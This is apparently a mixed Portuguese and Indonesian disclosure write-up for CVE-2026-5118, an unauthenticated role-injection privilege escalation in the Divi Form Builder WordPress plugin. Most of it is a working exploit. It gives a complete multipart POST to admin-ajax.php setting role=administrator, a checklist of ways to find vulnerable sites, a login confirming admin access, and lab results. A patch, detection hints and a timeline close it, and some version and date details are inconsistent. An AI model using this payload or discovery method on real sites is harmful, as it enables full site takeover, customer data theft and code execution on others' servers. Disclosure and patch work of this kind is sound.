
CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Escalação de Privilégios Não Autenticada via Injeção de Papel
O plugin WordPress Divi Form Builder versão 5.1.2 e anteriores possui uma vulnerabilidade Crítica que permite que um atacante não autenticado crie uma conta de Administrador diretamente por meio do formulário de registro.
Um campo oculto. Um valor alterado. Acesso total a todo o site.
includes/shared/handlers/FormSubmissionHandler.php → create_user()
// Baris ~1691: Ambil role dari input user (TANPA VALIDASI KEAMANAN)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Baris ~1702: Hanya cek APAKAH role ADA di sistem, BUKAN apakah role AMAN
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber';
}
// Baris ~1745: Langsung terapkan role yang diinjeksi!
$user = new WP_User($user_id);
$user->set_role($role); // ← "administrator" langsung diterapkan
ALUR VALIDASI YANG BERMASALAH
┌──────────────────────────────────────────────────────┐
│ Penyerang kirim: role=administrator │
│ ↓ │
│ sanitize_text_field() → "administrator" (bersih) │
│ ↓ │
│ isset($roles_obj->roles["administrator"]) → TRUE │ ← BUG! Hanya cek ADA/TIDAK
│ ↓ │
│ $user->set_role("administrator") → ADMIN PENUH! │ ← PRIVESC!
└──────────────────────────────────────────────────────┘
"administrator" ADALAH role yang valid di WordPress,
jadi validasi isset() SELALU return true.
Fungsi ini TIDAK PERNAH menolak role berbahaya.
O formulário de registro do DFB contém um hidden input:
<!-- Nilai asli dari developer -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">
<!-- Penyerang cukup ubah value-nya -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">
[★] Target Discovery: Divi Form Builder indicator
├── Endpoint scan: 50+ path registrasi
├── Homepage link crawl: keyword priority
├── REST API: /wp-json/wp/v2/pages?search=register
├── Sitemap parsing: XML sitemap URLs
├── DFB REST API: /wp-json/divi-form-builder/v1
├── AJAX probe: de_fb_ajax_submit_ajax_handler
├── WooCommerce: /my-account/ sub-pages
├── robots.txt: custom sitemaps + disallow
├── Contact pages: DFB forms tersembunyi
└── wp-json deep: content-first scan
[✓] Ditemukan: <input class="df_hidden_user_role" value="customer">
[✓] Versi plugin: v4.1.9 (VULNERABLE)
[✓] Form multi-step dengan reCAPTCHA v3
Parameter yang diperlukan:
├── fb_nonce: [dari hidden input / de_fb_obj]
├── form_key: [dari hidden input]
├── form_type: register
├── divi-form-submit: yes
└── role: [INJEKSI: administrator]
Field pemetaan:
├── de_fb_user_login + user_login (kedua varian wajib)
├── de_fb_user_email + user_email
├── de_fb_user_pass + user_pass
└── de_fb_pass_repeat
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest
------POC
Content-Disposition: form-data; name="action"
de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"
[nonce_dari_form]
------POC
Content-Disposition: form-data; name="role"
administrator
------POC
Content-Disposition: form-data; name="form_type"
register
------POC
Content-Disposition: form-data; name="divi-form-submit"
yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"
attacker1337
------POC
Content-Disposition: form-data; name="user_login"
attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"
[email protected]
------POC
Content-Disposition: form-data; name="user_email"
[email protected]
------POC--
[→] POST /wp-login.php
user_login=attacker1337&user_pass=Str0ngP@ss!
[←] HTTP 302 → /wp-admin/
[✓] FULL ADMINISTRATOR ACCESS CONFIRMED
├── Dashboard: /wp-admin/
├── Users: Can create/delete any user
├── Plugins: Can install/activate/edit PHP
├── Themes: Can edit template files → RCE
└── Settings: Full site control
Os testes foram realizados em ambiente Docker isolado (WordPress 6.5 + DFB v5.0.0):
╔══════════════════════════════════════════════════════╗
║ LAB VERIFICATION RESULTS ║
╠══════════════════════════════════════════════════════╣
║ Method: AJAX (admin-ajax.php) ║
║ Role injected: administrator ║
║ Response: "Registration successful!" ║
║ Login: HTTP 302 → /wp-admin/ ✓ ║
║ ───────────────────────────────────────────────── ║
║ Method: Form POST (direct submission) ║
║ Role injected: administrator ║
║ Response: "Registration successful!" ║
║ Login: HTTP 302 → /wp-admin/ ✓ ║
║ ───────────────────────────────────────────────── ║
║ Status: ★ PWNED — Full Admin Access ★ ║
╚══════════════════════════════════════════════════════╝
// SEBELUM (rentan):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← Hanya cek ADA, bukan AMAN
}
// SESUDAH (aman):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Hanya izinkan role yang aman untuk registrasi publik
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // ← Tolak semua role berbahaya
}
role do formulário no frontend — Use o default_user_role que já existecurrent_user_can('create_users') para roles especiais| Data | Evento |
|---|---|
| 2026-04-13 | Versão 5.1.3 lançada (provável correção conforme changelog) |
| 2026-05-21 | Vulnerabilidade verificada de forma independente em laboratório isolado |
| 2026-05-21 | Responsible disclosure enviado ao Divi Engine Security |
role=administrator em requisições POSTwp_users em busca de contas de admin novas e desconhecidas/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handlerEste documento foi criado para fins de educação e responsible disclosure. Todos os testes de exploração foram realizados em ambiente de laboratório isolado. Em alvos reais, apenas detecção passiva foi realizada (identificação do formulário e dos parâmetros, sem envio de dados de exploração).
O autor não se responsabiliza pelo uso indevido das informações contidas neste documento.
CVE-2026-5118 • Divi Form Builder ≤ 5.1.2 • Escalação de Privilégios não Autenticada
Descoberto & Verificado: 2026-05-21
| Capacidade | Impacto |
|---|
| 🔑 Criar conta de admin sem login | Full Site Takeover |
| 📦 Acessar dados de clientes WooCommerce | Data Breach |
| 💉 Editar arquivos de plugin/tema (PHP) | Remote Code Execution |
| 🕳️ Criar backdoor oculto | Persistent Access |
| 👥 Ver todos os dados dos usuários | Privacy Violation |